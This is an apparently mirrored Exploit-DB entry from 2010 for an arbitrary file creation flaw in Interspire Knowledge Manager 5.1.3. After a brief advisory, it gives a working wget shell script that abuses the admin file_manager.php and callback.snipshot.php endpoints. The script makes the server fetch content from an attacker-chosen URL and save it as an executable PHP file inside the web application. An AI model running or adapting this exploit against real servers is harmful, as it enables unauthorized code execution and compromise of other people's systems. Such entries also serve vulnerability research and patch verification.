Interspire Knowledge Manager 5 – ‘callback.snipshot.php’ Arbitrary File Creation - 体验盒子

作者： Cory Marsh

日期： 2010-02-03

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/33636/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

source: https://www.securityfocus.com/bid/38186/info

Interspire Knowledge Manager is prone to a vulnerability that allows attackers to create arbitrary files on a vulnerable computer.

An attacker may exploit this issue to create arbitrary files, which may then be executed to perform unauthorized actions. This may aid in further attacks.

Knowledge Manager 5.1.3 is vulnerable; other versions may also be affected.

# #!/bin/sh

# echo "$0 <target_url> <relative_path_from_admin_dir> <file_name>

<content_url>

# example: $0 http://target.com/knowledge_base ../../../ file.php

http://source

# if kb is installed at knowledge_base, then the file: file.php will be

# created in the base application directory from the content at

http://source

# "

# sessionUrl=$1'/admin/de/dialog/file_manager.php'

# uploadUrl=$1'/admin/de/dialog/callback.snipshot.php'

# wget -O r1 --save-cookies tmp.cookies --keep-session-cookies

"$sessionUrl?userdocroot=$2&imgDir=&obj=1"

# echo "session created, setting file name $2$3"

# wget -O r2 --keep-session-cookies --load-cookies tmp.cookies

"$uploadUrl?action=step1&source_image=name&save_file_as=$3"

# echo "upload content from: $4 ..."

# wget -O r3 --keep-session-cookies --load-cookies tmp.cookies

"$uploadUrl?action=step2&source_image=name&save_file_as=$3&snipshot_output=$4"

# echo "file created test access to the script at: $1/admin/de/dialog/$2$3";